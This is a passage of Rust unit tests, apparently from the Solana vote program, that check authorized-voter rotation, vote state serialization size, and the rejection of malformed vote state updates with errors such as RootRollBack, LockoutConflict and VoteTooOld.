2259 vote_state.last_timestamp,
2260 BlockTimestamp {
2261 slot: slot + 1,
2262 timestamp
2263 }
2264 );
2265 assert_eq!(
2266 vote_state.process_timestamp(slot + 2, timestamp + 1),
2267 Ok(())
2268 );
2269 assert_eq!(
2270 vote_state.last_timestamp,
2271 BlockTimestamp {
2272 slot: slot + 2,
2273 timestamp: timestamp + 1
2274 }
2275 );
2276
2277 vote_state.last_timestamp = BlockTimestamp::default();
2279 assert_eq!(vote_state.process_timestamp(0, timestamp), Ok(()));
2280 }
2281
2282 #[test]
2283 fn test_get_and_update_authorized_voter() {
2284 let original_voter = solana_sdk::pubkey::new_rand();
2285 let mut vote_state = VoteState::new(
2286 &VoteInit {
2287 node_pubkey: original_voter,
2288 authorized_voter: original_voter,
2289 authorized_withdrawer: original_voter,
2290 commission: 0,
2291 },
2292 &Clock::default(),
2293 );
2294
2295 assert_eq!(
2298 vote_state.get_and_update_authorized_voter(1).unwrap(),
2299 original_voter
2300 );
2301
2302 assert_eq!(
2305 vote_state.get_and_update_authorized_voter(5).unwrap(),
2306 original_voter
2307 );
2308
2309 assert_eq!(vote_state.authorized_voters.len(), 1);
2312 for i in 0..5 {
2313 assert!(vote_state
2314 .authorized_voters
2315 .get_authorized_voter(i)
2316 .is_none());
2317 }
2318
2319 let new_authorized_voter = solana_sdk::pubkey::new_rand();
2321 vote_state
2322 .set_new_authorized_voter(&new_authorized_voter, 5, 7, |_| Ok(()))
2323 .unwrap();
2324
2325 assert_eq!(
2327 vote_state.get_and_update_authorized_voter(6).unwrap(),
2328 original_voter
2329 );
2330
2331 for i in 7..10 {
2334 assert_eq!(
2335 vote_state.get_and_update_authorized_voter(i).unwrap(),
2336 new_authorized_voter
2337 );
2338 }
2339 assert_eq!(vote_state.authorized_voters.len(), 1);
2340 }
2341
2342 #[test]
2343 fn test_set_new_authorized_voter() {
2344 let original_voter = solana_sdk::pubkey::new_rand();
2345 let epoch_offset = 15;
2346 let mut vote_state = VoteState::new(
2347 &VoteInit {
2348 node_pubkey: original_voter,
2349 authorized_voter: original_voter,
2350 authorized_withdrawer: original_voter,
2351 commission: 0,
2352 },
2353 &Clock::default(),
2354 );
2355
2356 assert!(vote_state.prior_voters.last().is_none());
2357
2358 let new_voter = solana_sdk::pubkey::new_rand();
2359 vote_state
2361 .set_new_authorized_voter(&new_voter, 0, epoch_offset, |_| Ok(()))
2362 .unwrap();
2363
2364 assert_eq!(vote_state.prior_voters.idx, 0);
2365 assert_eq!(
2366 vote_state.prior_voters.last(),
2367 Some(&(original_voter, 0, epoch_offset))
2368 );
2369
2370 assert_eq!(
2372 vote_state.set_new_authorized_voter(&new_voter, 0, epoch_offset, |_| Ok(())),
2373 Err(VoteError::TooSoonToReauthorize.into())
2374 );
2375
2376 vote_state
2378 .set_new_authorized_voter(&new_voter, 2, 2 + epoch_offset, |_| Ok(()))
2379 .unwrap();
2380
2381 let new_voter2 = solana_sdk::pubkey::new_rand();
2383 vote_state
2384 .set_new_authorized_voter(&new_voter2, 3, 3 + epoch_offset, |_| Ok(()))
2385 .unwrap();
2386 assert_eq!(vote_state.prior_voters.idx, 1);
2387 assert_eq!(
2388 vote_state.prior_voters.last(),
2389 Some(&(new_voter, epoch_offset, 3 + epoch_offset))
2390 );
2391
2392 let new_voter3 = solana_sdk::pubkey::new_rand();
2393 vote_state
2394 .set_new_authorized_voter(&new_voter3, 6, 6 + epoch_offset, |_| Ok(()))
2395 .unwrap();
2396 assert_eq!(vote_state.prior_voters.idx, 2);
2397 assert_eq!(
2398 vote_state.prior_voters.last(),
2399 Some(&(new_voter2, 3 + epoch_offset, 6 + epoch_offset))
2400 );
2401
2402 vote_state
2404 .set_new_authorized_voter(&original_voter, 9, 9 + epoch_offset, |_| Ok(()))
2405 .unwrap();
2406
2407 for i in 9..epoch_offset {
2410 assert_eq!(
2411 vote_state.get_and_update_authorized_voter(i).unwrap(),
2412 original_voter
2413 );
2414 }
2415 for i in epoch_offset..3 + epoch_offset {
2416 assert_eq!(
2417 vote_state.get_and_update_authorized_voter(i).unwrap(),
2418 new_voter
2419 );
2420 }
2421 for i in 3 + epoch_offset..6 + epoch_offset {
2422 assert_eq!(
2423 vote_state.get_and_update_authorized_voter(i).unwrap(),
2424 new_voter2
2425 );
2426 }
2427 for i in 6 + epoch_offset..9 + epoch_offset {
2428 assert_eq!(
2429 vote_state.get_and_update_authorized_voter(i).unwrap(),
2430 new_voter3
2431 );
2432 }
2433 for i in 9 + epoch_offset..=10 + epoch_offset {
2434 assert_eq!(
2435 vote_state.get_and_update_authorized_voter(i).unwrap(),
2436 original_voter
2437 );
2438 }
2439 }
2440
2441 #[test]
2442 fn test_authorized_voter_is_locked_within_epoch() {
2443 let original_voter = solana_sdk::pubkey::new_rand();
2444 let mut vote_state = VoteState::new(
2445 &VoteInit {
2446 node_pubkey: original_voter,
2447 authorized_voter: original_voter,
2448 authorized_withdrawer: original_voter,
2449 commission: 0,
2450 },
2451 &Clock::default(),
2452 );
2453
2454 let new_voter = solana_sdk::pubkey::new_rand();
2458 assert_eq!(
2459 vote_state.set_new_authorized_voter(&new_voter, 1, 1, |_| Ok(())),
2460 Err(VoteError::TooSoonToReauthorize.into())
2461 );
2462
2463 assert_eq!(vote_state.get_authorized_voter(1), Some(original_voter));
2464
2465 assert_eq!(
2467 vote_state.set_new_authorized_voter(&new_voter, 1, 2, |_| Ok(())),
2468 Ok(())
2469 );
2470
2471 assert_eq!(
2475 vote_state.set_new_authorized_voter(&original_voter, 3, 3, |_| Ok(())),
2476 Err(VoteError::TooSoonToReauthorize.into())
2477 );
2478
2479 assert_eq!(vote_state.get_authorized_voter(3), Some(new_voter));
2480 }
2481
2482 #[test]
2483 fn test_vote_state_size_of() {
2484 let vote_state = VoteState::get_max_sized_vote_state();
2485 let vote_state = VoteStateVersions::new_current(vote_state);
2486 let size = bincode::serialized_size(&vote_state).unwrap();
2487 assert_eq!(VoteState::size_of() as u64, size);
2488 }
2489
2490 #[test]
2491 fn test_vote_state_max_size() {
2492 let mut max_sized_data = vec![0; VoteState::size_of()];
2493 let vote_state = VoteState::get_max_sized_vote_state();
2494 let (start_leader_schedule_epoch, _) = vote_state.authorized_voters.last().unwrap();
2495 let start_current_epoch =
2496 start_leader_schedule_epoch - MAX_LEADER_SCHEDULE_EPOCH_OFFSET + 1;
2497
2498 let mut vote_state = Some(vote_state);
2499 for i in start_current_epoch..start_current_epoch + 2 * MAX_LEADER_SCHEDULE_EPOCH_OFFSET {
2500 vote_state.as_mut().map(|vote_state| {
2501 vote_state.set_new_authorized_voter(
2502 &solana_sdk::pubkey::new_rand(),
2503 i,
2504 i + MAX_LEADER_SCHEDULE_EPOCH_OFFSET,
2505 |_| Ok(()),
2506 )
2507 });
2508
2509 let versioned = VoteStateVersions::new_current(vote_state.take().unwrap());
2510 VoteState::serialize(&versioned, &mut max_sized_data).unwrap();
2511 vote_state = Some(versioned.convert_to_current());
2512 }
2513 }
2514
2515 #[test]
2516 fn test_default_vote_state_is_uninitialized() {
2517 assert!(VoteStateVersions::new_current(VoteState::default()).is_uninitialized());
2521 }
2522
2523 #[test]
2524 fn test_is_correct_size_and_initialized() {
2525 let mut vote_account_data = vec![0; VoteState::size_of()];
2527 assert!(!VoteState::is_correct_size_and_initialized(
2528 &vote_account_data
2529 ));
2530
2531 let default_account_state = VoteStateVersions::new_current(VoteState::default());
2533 VoteState::serialize(&default_account_state, &mut vote_account_data).unwrap();
2534 assert!(!VoteState::is_correct_size_and_initialized(
2535 &vote_account_data
2536 ));
2537
2538 let short_data = vec![1; DEFAULT_PRIOR_VOTERS_OFFSET];
2540 assert!(!VoteState::is_correct_size_and_initialized(&short_data));
2541
2542 let mut large_vote_data = vec![1; 2 * VoteState::size_of()];
2544 let default_account_state = VoteStateVersions::new_current(VoteState::default());
2545 VoteState::serialize(&default_account_state, &mut large_vote_data).unwrap();
2546 assert!(!VoteState::is_correct_size_and_initialized(
2547 &vote_account_data
2548 ));
2549
2550 let account_state = VoteStateVersions::new_current(VoteState::new(
2552 &VoteInit {
2553 node_pubkey: Pubkey::new_unique(),
2554 authorized_voter: Pubkey::new_unique(),
2555 authorized_withdrawer: Pubkey::new_unique(),
2556 commission: 0,
2557 },
2558 &Clock::default(),
2559 ));
2560 VoteState::serialize(&account_state, &mut vote_account_data).unwrap();
2561 assert!(VoteState::is_correct_size_and_initialized(
2562 &vote_account_data
2563 ));
2564 }
2565
2566 #[test]
2567 fn test_process_new_vote_too_many_votes() {
2568 let mut vote_state1 = VoteState::default();
2569 let bad_votes: VecDeque<Lockout> = (0..=MAX_LOCKOUT_HISTORY)
2570 .map(|slot| Lockout {
2571 slot: slot as Slot,
2572 confirmation_count: (MAX_LOCKOUT_HISTORY - slot + 1) as u32,
2573 })
2574 .collect();
2575
2576 assert_eq!(
2577 vote_state1.process_new_vote_state(
2578 bad_votes,
2579 None,
2580 None,
2581 vote_state1.current_epoch(),
2582 None,
2583 ),
2584 Err(VoteError::TooManyVotes)
2585 );
2586 }
2587
2588 #[test]
2589 fn test_process_new_vote_state_root_rollback() {
2590 let mut vote_state1 = VoteState::default();
2591 for i in 0..MAX_LOCKOUT_HISTORY + 2 {
2592 vote_state1.process_slot_vote_unchecked(i as Slot);
2593 }
2594 assert_eq!(vote_state1.root_slot.unwrap(), 1);
2595
2596 let mut vote_state2 = vote_state1.clone();
2599 vote_state2.process_slot_vote_unchecked(MAX_LOCKOUT_HISTORY as Slot + 3);
2600
2601 let lesser_root = Some(0);
2603
2604 assert_eq!(
2605 vote_state1.process_new_vote_state(
2606 vote_state2.votes.clone(),
2607 lesser_root,
2608 None,
2609 vote_state2.current_epoch(),
2610 None,
2611 ),
2612 Err(VoteError::RootRollBack)
2613 );
2614
2615 let none_root = None;
2617 assert_eq!(
2618 vote_state1.process_new_vote_state(
2619 vote_state2.votes.clone(),
2620 none_root,
2621 None,
2622 vote_state2.current_epoch(),
2623 None,
2624 ),
2625 Err(VoteError::RootRollBack)
2626 );
2627 }
2628
2629 #[test]
2630 fn test_process_new_vote_state_zero_confirmations() {
2631 let mut vote_state1 = VoteState::default();
2632
2633 let bad_votes: VecDeque<Lockout> = vec![
2634 Lockout {
2635 slot: 0,
2636 confirmation_count: 0,
2637 },
2638 Lockout {
2639 slot: 1,
2640 confirmation_count: 1,
2641 },
2642 ]
2643 .into_iter()
2644 .collect();
2645 assert_eq!(
2646 vote_state1.process_new_vote_state(
2647 bad_votes,
2648 None,
2649 None,
2650 vote_state1.current_epoch(),
2651 None,
2652 ),
2653 Err(VoteError::ZeroConfirmations)
2654 );
2655
2656 let bad_votes: VecDeque<Lockout> = vec![
2657 Lockout {
2658 slot: 0,
2659 confirmation_count: 2,
2660 },
2661 Lockout {
2662 slot: 1,
2663 confirmation_count: 0,
2664 },
2665 ]
2666 .into_iter()
2667 .collect();
2668 assert_eq!(
2669 vote_state1.process_new_vote_state(
2670 bad_votes,
2671 None,
2672 None,
2673 vote_state1.current_epoch(),
2674 None,
2675 ),
2676 Err(VoteError::ZeroConfirmations)
2677 );
2678 }
2679
2680 #[test]
2681 fn test_process_new_vote_state_confirmations_too_large() {
2682 let mut vote_state1 = VoteState::default();
2683
2684 let good_votes: VecDeque<Lockout> = vec![Lockout {
2685 slot: 0,
2686 confirmation_count: MAX_LOCKOUT_HISTORY as u32,
2687 }]
2688 .into_iter()
2689 .collect();
2690
2691 vote_state1
2692 .process_new_vote_state(good_votes, None, None, vote_state1.current_epoch(), None)
2693 .unwrap();
2694
2695 let mut vote_state1 = VoteState::default();
2696 let bad_votes: VecDeque<Lockout> = vec![Lockout {
2697 slot: 0,
2698 confirmation_count: MAX_LOCKOUT_HISTORY as u32 + 1,
2699 }]
2700 .into_iter()
2701 .collect();
2702 assert_eq!(
2703 vote_state1.process_new_vote_state(
2704 bad_votes,
2705 None,
2706 None,
2707 vote_state1.current_epoch(),
2708 None
2709 ),
2710 Err(VoteError::ConfirmationTooLarge)
2711 );
2712 }
2713
2714 #[test]
2715 fn test_process_new_vote_state_slot_smaller_than_root() {
2716 let mut vote_state1 = VoteState::default();
2717 let root_slot = 5;
2718
2719 let bad_votes: VecDeque<Lockout> = vec![
2720 Lockout {
2721 slot: root_slot,
2722 confirmation_count: 2,
2723 },
2724 Lockout {
2725 slot: root_slot + 1,
2726 confirmation_count: 1,
2727 },
2728 ]
2729 .into_iter()
2730 .collect();
2731 assert_eq!(
2732 vote_state1.process_new_vote_state(
2733 bad_votes,
2734 Some(root_slot),
2735 None,
2736 vote_state1.current_epoch(),
2737 None,
2738 ),
2739 Err(VoteError::SlotSmallerThanRoot)
2740 );
2741
2742 let bad_votes: VecDeque<Lockout> = vec![
2743 Lockout {
2744 slot: root_slot - 1,
2745 confirmation_count: 2,
2746 },
2747 Lockout {
2748 slot: root_slot + 1,
2749 confirmation_count: 1,
2750 },
2751 ]
2752 .into_iter()
2753 .collect();
2754 assert_eq!(
2755 vote_state1.process_new_vote_state(
2756 bad_votes,
2757 Some(root_slot),
2758 None,
2759 vote_state1.current_epoch(),
2760 None,
2761 ),
2762 Err(VoteError::SlotSmallerThanRoot)
2763 );
2764 }
2765
2766 #[test]
2767 fn test_process_new_vote_state_slots_not_ordered() {
2768 let mut vote_state1 = VoteState::default();
2769
2770 let bad_votes: VecDeque<Lockout> = vec![
2771 Lockout {
2772 slot: 1,
2773 confirmation_count: 2,
2774 },
2775 Lockout {
2776 slot: 0,
2777 confirmation_count: 1,
2778 },
2779 ]
2780 .into_iter()
2781 .collect();
2782 assert_eq!(
2783 vote_state1.process_new_vote_state(
2784 bad_votes,
2785 None,
2786 None,
2787 vote_state1.current_epoch(),
2788 None
2789 ),
2790 Err(VoteError::SlotsNotOrdered)
2791 );
2792
2793 let bad_votes: VecDeque<Lockout> = vec![
2794 Lockout {
2795 slot: 1,
2796 confirmation_count: 2,
2797 },
2798 Lockout {
2799 slot: 1,
2800 confirmation_count: 1,
2801 },
2802 ]
2803 .into_iter()
2804 .collect();
2805 assert_eq!(
2806 vote_state1.process_new_vote_state(
2807 bad_votes,
2808 None,
2809 None,
2810 vote_state1.current_epoch(),
2811 None
2812 ),
2813 Err(VoteError::SlotsNotOrdered)
2814 );
2815 }
2816
2817 #[test]
2818 fn test_process_new_vote_state_confirmations_not_ordered() {
2819 let mut vote_state1 = VoteState::default();
2820
2821 let bad_votes: VecDeque<Lockout> = vec![
2822 Lockout {
2823 slot: 0,
2824 confirmation_count: 1,
2825 },
2826 Lockout {
2827 slot: 1,
2828 confirmation_count: 2,
2829 },
2830 ]
2831 .into_iter()
2832 .collect();
2833 assert_eq!(
2834 vote_state1.process_new_vote_state(
2835 bad_votes,
2836 None,
2837 None,
2838 vote_state1.current_epoch(),
2839 None
2840 ),
2841 Err(VoteError::ConfirmationsNotOrdered)
2842 );
2843
2844 let bad_votes: VecDeque<Lockout> = vec![
2845 Lockout {
2846 slot: 0,
2847 confirmation_count: 1,
2848 },
2849 Lockout {
2850 slot: 1,
2851 confirmation_count: 1,
2852 },
2853 ]
2854 .into_iter()
2855 .collect();
2856 assert_eq!(
2857 vote_state1.process_new_vote_state(
2858 bad_votes,
2859 None,
2860 None,
2861 vote_state1.current_epoch(),
2862 None
2863 ),
2864 Err(VoteError::ConfirmationsNotOrdered)
2865 );
2866 }
2867
2868 #[test]
2869 fn test_process_new_vote_state_new_vote_state_lockout_mismatch() {
2870 let mut vote_state1 = VoteState::default();
2871
2872 let bad_votes: VecDeque<Lockout> = vec![
2873 Lockout {
2874 slot: 0,
2875 confirmation_count: 2,
2876 },
2877 Lockout {
2878 slot: 7,
2879 confirmation_count: 1,
2880 },
2881 ]
2882 .into_iter()
2883 .collect();
2884
2885 assert_eq!(
2887 vote_state1.process_new_vote_state(
2888 bad_votes,
2889 None,
2890 None,
2891 vote_state1.current_epoch(),
2892 None,
2893 ),
2894 Err(VoteError::NewVoteStateLockoutMismatch)
2895 );
2896 }
2897
2898 #[test]
2899 fn test_process_new_vote_state_confirmation_rollback() {
2900 let mut vote_state1 = VoteState::default();
2901 let votes: VecDeque<Lockout> = vec![
2902 Lockout {
2903 slot: 0,
2904 confirmation_count: 4,
2905 },
2906 Lockout {
2907 slot: 1,
2908 confirmation_count: 3,
2909 },
2910 ]
2911 .into_iter()
2912 .collect();
2913 vote_state1
2914 .process_new_vote_state(votes, None, None, vote_state1.current_epoch(), None)
2915 .unwrap();
2916
2917 let votes: VecDeque<Lockout> = vec![
2918 Lockout {
2919 slot: 0,
2920 confirmation_count: 4,
2921 },
2922 Lockout {
2923 slot: 1,
2924 confirmation_count: 2,
2926 },
2927 Lockout {
2928 slot: 2,
2929 confirmation_count: 1,
2930 },
2931 ]
2932 .into_iter()
2933 .collect();
2934 assert_eq!(
2937 vote_state1.process_new_vote_state(
2938 votes,
2939 None,
2940 None,
2941 vote_state1.current_epoch(),
2942 None
2943 ),
2944 Err(VoteError::ConfirmationRollBack)
2945 );
2946 }
2947
2948 #[test]
2949 fn test_process_new_vote_state_root_progress() {
2950 let mut vote_state1 = VoteState::default();
2951 for i in 0..MAX_LOCKOUT_HISTORY {
2952 vote_state1.process_slot_vote_unchecked(i as u64);
2953 }
2954
2955 assert!(vote_state1.root_slot.is_none());
2956 let mut vote_state2 = vote_state1.clone();
2957
2958 for new_vote in MAX_LOCKOUT_HISTORY + 1..=MAX_LOCKOUT_HISTORY + 2 {
2965 vote_state2.process_slot_vote_unchecked(new_vote as Slot);
2966 assert_ne!(vote_state1.root_slot, vote_state2.root_slot);
2967
2968 vote_state1
2969 .process_new_vote_state(
2970 vote_state2.votes.clone(),
2971 vote_state2.root_slot,
2972 None,
2973 vote_state2.current_epoch(),
2974 None,
2975 )
2976 .unwrap();
2977
2978 assert_eq!(vote_state1, vote_state2);
2979 }
2980 }
2981
2982 #[test]
2983 fn test_process_new_vote_state_same_slot_but_not_common_ancestor() {
2984 let mut vote_state1 = VoteState::default();
3003 vote_state1.process_slot_votes_unchecked(&[1, 2, 5]);
3004 assert_eq!(
3005 vote_state1
3006 .votes
3007 .iter()
3008 .map(|vote| vote.slot)
3009 .collect::<Vec<Slot>>(),
3010 vec![1, 5]
3011 );
3012
3013 let mut vote_state2 = VoteState::default();
3015 vote_state2.process_slot_votes_unchecked(&[1, 2, 3, 5, 7]);
3016 assert_eq!(
3017 vote_state2
3018 .votes
3019 .iter()
3020 .map(|vote| vote.slot)
3021 .collect::<Vec<Slot>>(),
3022 vec![1, 2, 3, 5, 7]
3023 );
3024
3025 vote_state1
3027 .process_new_vote_state(
3028 vote_state2.votes.clone(),
3029 vote_state2.root_slot,
3030 None,
3031 vote_state2.current_epoch(),
3032 None,
3033 )
3034 .unwrap();
3035
3036 assert_eq!(vote_state1, vote_state2);
3037 }
3038
3039 #[test]
3040 fn test_process_new_vote_state_lockout_violation() {
3041 let mut vote_state1 = VoteState::default();
3043 vote_state1.process_slot_votes_unchecked(&[1, 2, 4, 5]);
3044 assert_eq!(
3045 vote_state1
3046 .votes
3047 .iter()
3048 .map(|vote| vote.slot)
3049 .collect::<Vec<Slot>>(),
3050 vec![1, 2, 4, 5]
3051 );
3052
3053 let mut vote_state2 = VoteState::default();
3056 vote_state2.process_slot_votes_unchecked(&[1, 2, 3, 5, 7]);
3057 assert_eq!(
3058 vote_state2
3059 .votes
3060 .iter()
3061 .map(|vote| vote.slot)
3062 .collect::<Vec<Slot>>(),
3063 vec![1, 2, 3, 5, 7]
3064 );
3065
3066 assert_eq!(
3068 vote_state1.process_new_vote_state(
3069 vote_state2.votes.clone(),
3070 vote_state2.root_slot,
3071 None,
3072 vote_state2.current_epoch(),
3073 None
3074 ),
3075 Err(VoteError::LockoutConflict)
3076 );
3077 }
3078
3079 #[test]
3080 fn test_process_new_vote_state_lockout_violation2() {
3081 let mut vote_state1 = VoteState::default();
3083 vote_state1.process_slot_votes_unchecked(&[1, 2, 5, 6, 7]);
3084 assert_eq!(
3085 vote_state1
3086 .votes
3087 .iter()
3088 .map(|vote| vote.slot)
3089 .collect::<Vec<Slot>>(),
3090 vec![1, 5, 6, 7]
3091 );
3092
3093 let mut vote_state2 = VoteState::default();
3096 vote_state2.process_slot_votes_unchecked(&[1, 2, 3, 5, 6, 8]);
3097 assert_eq!(
3098 vote_state2
3099 .votes
3100 .iter()
3101 .map(|vote| vote.slot)
3102 .collect::<Vec<Slot>>(),
3103 vec![1, 2, 3, 5, 6, 8]
3104 );
3105
3106 assert_eq!(
3109 vote_state1.process_new_vote_state(
3110 vote_state2.votes.clone(),
3111 vote_state2.root_slot,
3112 None,
3113 vote_state2.current_epoch(),
3114 None
3115 ),
3116 Err(VoteError::LockoutConflict)
3117 );
3118 }
3119
3120 #[test]
3121 fn test_process_new_vote_state_expired_ancestor_not_removed() {
3122 let mut vote_state1 = VoteState::default();
3124 vote_state1.process_slot_votes_unchecked(&[1, 2, 3, 9]);
3125 assert_eq!(
3126 vote_state1
3127 .votes
3128 .iter()
3129 .map(|vote| vote.slot)
3130 .collect::<Vec<Slot>>(),
3131 vec![1, 9]
3132 );
3133
3134 let mut vote_state2 = vote_state1.clone();
3137 vote_state2.process_slot_vote_unchecked(10);
3138
3139 assert_eq!(vote_state2.votes[0].slot, 1);
3142 assert_eq!(vote_state2.votes[0].last_locked_out_slot(), 9);
3143 assert_eq!(
3144 vote_state2
3145 .votes
3146 .iter()
3147 .map(|vote| vote.slot)
3148 .collect::<Vec<Slot>>(),
3149 vec![1, 9, 10]
3150 );
3151
3152 vote_state1
3154 .process_new_vote_state(
3155 vote_state2.votes.clone(),
3156 vote_state2.root_slot,
3157 None,
3158 vote_state2.current_epoch(),
3159 None,
3160 )
3161 .unwrap();
3162 assert_eq!(vote_state1, vote_state2,);
3163 }
3164
3165 #[test]
3166 fn test_process_new_vote_current_state_contains_bigger_slots() {
3167 let mut vote_state1 = VoteState::default();
3168 vote_state1.process_slot_votes_unchecked(&[6, 7, 8]);
3169 assert_eq!(
3170 vote_state1
3171 .votes
3172 .iter()
3173 .map(|vote| vote.slot)
3174 .collect::<Vec<Slot>>(),
3175 vec![6, 7, 8]
3176 );
3177
3178 let bad_votes: VecDeque<Lockout> = vec![
3180 Lockout {
3181 slot: 2,
3182 confirmation_count: 5,
3183 },
3184 Lockout {
3185 slot: 14,
3187 confirmation_count: 1,
3188 },
3189 ]
3190 .into_iter()
3191 .collect();
3192 let root = Some(1);
3193
3194 assert_eq!(
3195 vote_state1.process_new_vote_state(
3196 bad_votes,
3197 root,
3198 None,
3199 vote_state1.current_epoch(),
3200 None
3201 ),
3202 Err(VoteError::LockoutConflict)
3203 );
3204
3205 let good_votes: VecDeque<Lockout> = vec![
3206 Lockout {
3207 slot: 2,
3208 confirmation_count: 5,
3209 },
3210 Lockout {
3211 slot: 15,
3212 confirmation_count: 1,
3213 },
3214 ]
3215 .into_iter()
3216 .collect();
3217
3218 vote_state1
3219 .process_new_vote_state(
3220 good_votes.clone(),
3221 root,
3222 None,
3223 vote_state1.current_epoch(),
3224 None,
3225 )
3226 .unwrap();
3227 assert_eq!(vote_state1.votes, good_votes);
3228 }
3229
3230 #[test]
3231 fn test_filter_old_votes() {
3232 let mut feature_set = FeatureSet::default();
3234 feature_set.activate(&filter_votes_outside_slot_hashes::id(), 0);
3235
3236 let mut vote_state = VoteState::default();
3237 let old_vote_slot = 1;
3238 let vote = Vote::new(vec![old_vote_slot], Hash::default());
3239
3240 let slot_hashes = vec![(3, Hash::new_unique()), (2, Hash::new_unique())];
3243 assert_eq!(
3244 vote_state.process_vote(&vote, &slot_hashes, 0, Some(&feature_set),),
3245 Err(VoteError::VotesTooOldAllFiltered)
3246 );
3247
3248 let vote_slot = 2;
3251 let vote_slot_hash = slot_hashes
3252 .iter()
3253 .find(|(slot, _hash)| *slot == vote_slot)
3254 .unwrap()
3255 .1;
3256
3257 let vote = Vote::new(vec![old_vote_slot, vote_slot], vote_slot_hash);
3258 vote_state
3259 .process_vote(&vote, &slot_hashes, 0, Some(&feature_set))
3260 .unwrap();
3261 assert_eq!(
3262 vote_state.votes.into_iter().collect::<Vec<Lockout>>(),
3263 vec![Lockout {
3264 slot: vote_slot,
3265 confirmation_count: 1,
3266 }]
3267 );
3268 }
3269
3270 fn build_slot_hashes(slots: Vec<Slot>) -> Vec<(Slot, Hash)> {
3271 slots
3272 .iter()
3273 .rev()
3274 .map(|x| (*x, Hash::new_unique()))
3275 .collect()
3276 }
3277
3278 fn build_vote_state(vote_slots: Vec<Slot>, slot_hashes: &[(Slot, Hash)]) -> VoteState {
3279 let mut vote_state = VoteState::default();
3280
3281 if !vote_slots.is_empty() {
3282 let vote_hash = slot_hashes
3283 .iter()
3284 .find(|(slot, _hash)| slot == vote_slots.last().unwrap())
3285 .unwrap()
3286 .1;
3287 vote_state
3288 .process_vote(&Vote::new(vote_slots, vote_hash), slot_hashes, 0, None)
3289 .unwrap();
3290 }
3291
3292 vote_state
3293 }
3294
3295 #[test]
3296 fn test_check_update_vote_state_empty() {
3297 let empty_slot_hashes = build_slot_hashes(vec![]);
3298 let empty_vote_state = build_vote_state(vec![], &empty_slot_hashes);
3299
3300 let mut vote_state_update = VoteStateUpdate::from(vec![]);
3302 assert_eq!(
3303 empty_vote_state.check_update_vote_state_slots_are_valid(
3304 &mut vote_state_update,
3305 &empty_slot_hashes,
3306 Some(&FeatureSet::all_enabled())
3307 ),
3308 Err(VoteError::EmptySlots),
3309 );
3310
3311 let mut vote_state_update = VoteStateUpdate::from(vec![(0, 1)]);
3313 assert_eq!(
3314 empty_vote_state.check_update_vote_state_slots_are_valid(
3315 &mut vote_state_update,
3316 &empty_slot_hashes,
3317 Some(&FeatureSet::all_enabled())
3318 ),
3319 Err(VoteError::SlotsMismatch),
3320 );
3321 }
3322
3323 #[test]
3324 fn test_check_update_vote_state_too_old() {
3325 let slot_hashes = build_slot_hashes(vec![1, 2, 3, 4]);
3326 let latest_vote = 4;
3327 let vote_state = build_vote_state(vec![1, 2, 3, latest_vote], &slot_hashes);
3328
3329 let mut vote_state_update = VoteStateUpdate::from(vec![(latest_vote, 1)]);
3332 assert_eq!(
3333 vote_state.check_update_vote_state_slots_are_valid(
3334 &mut vote_state_update,
3335 &slot_hashes,
3336 Some(&FeatureSet::all_enabled())
3337 ),
3338 Err(VoteError::VoteTooOld),
3339 );
3340
3341 let earliest_slot_in_history = latest_vote + 2;
3345 let slot_hashes = build_slot_hashes(vec![earliest_slot_in_history]);
3346 let mut vote_state_update = VoteStateUpdate::from(vec![(earliest_slot_in_history - 1, 1)]);
3347 assert_eq!(
3348 vote_state.check_update_vote_state_slots_are_valid(
3349 &mut vote_state_update,
3350 &slot_hashes,
3351 Some(&FeatureSet::all_enabled()),
3352 ),
3353 Err(VoteError::VoteTooOld),
3354 );
3355 }
3356
3357 fn run_test_check_update_vote_state_older_than_history_root(
3358 earliest_slot_in_history: Slot,
3359 current_vote_state_slots: Vec<Slot>,
3360 current_vote_state_root: Option<Slot>,
3361 vote_state_update_slots_and_lockouts: Vec<(Slot, u32)>,
3362 vote_state_update_root: Slot,
3363 expected_root: Option<Slot>,
3364 expected_vote_state: Vec<Lockout>,
3365 ) {
3366 assert!(vote_state_update_root < earliest_slot_in_history);
3367 assert_eq!(
3368 expected_root,
3369 current_vote_state_slots
3370 .iter()
3371 .rev()
3372 .find(|slot| **slot <= vote_state_update_root)
3373 .cloned()
3374 );
3375 let latest_slot_in_history = vote_state_update_slots_and_lockouts
3376 .last()
3377 .unwrap()
3378 .0
3379 .max(earliest_slot_in_history);
3380 let mut slot_hashes = build_slot_hashes(
3381 (current_vote_state_slots.first().copied().unwrap_or(0)..=latest_slot_in_history)
3382 .collect::<Vec<Slot>>(),
3383 );
3384
3385 let mut vote_state = build_vote_state(current_vote_state_slots, &slot_hashes);
3386 vote_state.root_slot = current_vote_state_root;
3387
3388 slot_hashes.retain(|slot| slot.0 >= earliest_slot_in_history);
3389 assert!(!vote_state_update_slots_and_lockouts.is_empty());
3390 let vote_state_update_hash = slot_hashes
3391 .iter()
3392 .find(|(slot, _hash)| *slot == vote_state_update_slots_and_lockouts.last().unwrap().0)
3393 .unwrap()
3394 .1;
3395
3396 let mut vote_state_update = VoteStateUpdate::from(vote_state_update_slots_and_lockouts);
3400 vote_state_update.hash = vote_state_update_hash;
3401 vote_state_update.root = Some(vote_state_update_root);
3402 vote_state
3403 .check_update_vote_state_slots_are_valid(
3404 &mut vote_state_update,
3405 &slot_hashes,
3406 Some(&FeatureSet::all_enabled()),
3407 )
3408 .unwrap();
3409 assert_eq!(vote_state_update.root, expected_root);
3410
3411 assert!(do_process_vote_state_update(
3414 &mut vote_state,
3415 &slot_hashes,
3416 0,
3417 vote_state_update.clone(),
3418 Some(&FeatureSet::all_enabled()),
3419 )
3420 .is_ok());
3421 assert_eq!(vote_state.root_slot, expected_root);
3422 assert_eq!(
3423 vote_state.votes.into_iter().collect::<Vec<Lockout>>(),
3424 expected_vote_state,
3425 );
3426 }
3427
3428 #[test]
3429 fn test_check_update_vote_state_older_than_history_root() {
3430 let earliest_slot_in_history = 5;
3433 let current_vote_state_slots: Vec<Slot> = vec![1, 2, 3, 4];
3434 let current_vote_state_root = None;
3435 let vote_state_update_slots_and_lockouts = vec![(5, 1)];
3436 let vote_state_update_root = 4;
3437 let expected_root = Some(4);
3438 let expected_vote_state = vec![Lockout {
3439 slot: 5,
3440 confirmation_count: 1,
3441 }];
3442 run_test_check_update_vote_state_older_than_history_root(
3443 earliest_slot_in_history,
3444 current_vote_state_slots,
3445 current_vote_state_root,
3446 vote_state_update_slots_and_lockouts,
3447 vote_state_update_root,
3448 expected_root,
3449 expected_vote_state,
3450 );
3451
3452 let earliest_slot_in_history = 5;
